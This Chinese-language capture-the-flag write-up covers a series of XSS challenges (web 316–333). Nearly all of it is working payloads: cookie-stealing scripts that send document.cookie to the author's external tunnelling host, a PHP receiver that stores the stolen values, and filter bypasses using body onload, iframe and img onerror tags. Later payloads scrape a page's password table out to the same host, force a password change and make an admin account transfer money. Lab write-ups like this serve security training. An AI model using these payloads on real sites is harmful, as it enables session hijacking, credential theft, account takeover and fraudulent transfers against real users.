web 316
反射性xss,读取一下cookie看一下
<script>alert(document.cookie)</script>
不是管理员
这是因为读取的是我们的cookie,由于我们提交的链接,机器人会自动读取,我们让机器人访问我们的链接,并将它的cookie写入到我们的服务器中,这样获得的是他的cookie,也就有flag了
本地写了一个1.php文件,可以将get传参写入到本地
<?php
$a = $_GET[1];
if($a) {
file_put_contents('flag.txt',$a);
}
内网穿透一下
<script>document.location.href="http://512845is18.yicp.fun:40764/1.php?1="+document.cookie</script>
写入到本地的flag.txt文件中,获得flag
web 317
开始过滤,应该是<script>
被过滤了
<SCRIPT>alert(1)</SCRIPT>
使用别的标签就可以
<img src="" onerror="document.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie">
web 318
应该是过滤了img标签了,我插入正常的图片都不行了
<body onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
web 319
<body onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
<video οnlοadstart=alert(1) src="window.location.href='https://huashengke.yicp.fun/1.php?1='+document.cookie" />
web 320
过滤了空格,使用注释代替就可以
<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
或者tab绕过,对%09进行url解码
<body onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
web 321
直接
<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
web 322
<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
<iframe onload="window.open('https://512845is18.yicp.fun/1.php?1='+document.cookie)"></iframe>
web 323
iframe被过滤,但是没有过滤body,继续用
<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
web 324
继续
<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
web 325
继续
<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
web 326
继续
<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
web 327
收件人必须是admin
发送信息为
<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
web 328
<script>window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie</script>
web 329
还是上面的做法,成功获得到了cookie,但是一直就是失效的session,应该是机器人在访问了链接之后,立刻就退出了账号,导致session虽然获取到,但是用不了。
但是可以说明我们插入的js代码可以执行
我们可以构造一个js代码,将页面中的密码部分都写到我们的flag.txt文件中,payload如下
<script>
var arr = [];
$(".layui-table-cell.laytable-cell-1-0-1").each(function(){
arr.push($(this).text());
});
console.log(arr);
location.href='https://512845is18.yicp.fun/1.php?1=' + arr;
</script>
web 330
直接尝试获取cookie,未果
发现有一处修改密码,我们修改一下自己的密码,抓包看看
修改密码只有有个参数p
<script>document.location.href="/api/change.php?p=123456"</script>
那我们可以插入js代码让页面自动跳转到我们构造好的修改密码链接
但是现在执行不了js代码,应该是过滤了某些参数,我们试一试
注册用户admin123,密码为<script>
,注册成功,但是登录果然是失败了,说明<script>
被过滤了
我们可以用户名为payload,试一下,可以
<script>document.location.href='/api/change.php?p=123456'</script>
web 331
修改密码变成了post提交
<script>$.ajax({url:'/api/change.php',type:'post',data:{p:'123456'}});</script>
web 332
转账处,转账-10000,转账成功,有钱买flag了
web 333
尝试修改admin用户的密码,没有修改成功。
<script>$.ajax({url:'/api/change.php',type:'post',data:{p:'123456'}});</script>
尝试admin给我们的账户转账admin123,成功
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'admin123',a:'9999'}});</script>
获得flag
Comments NOTHING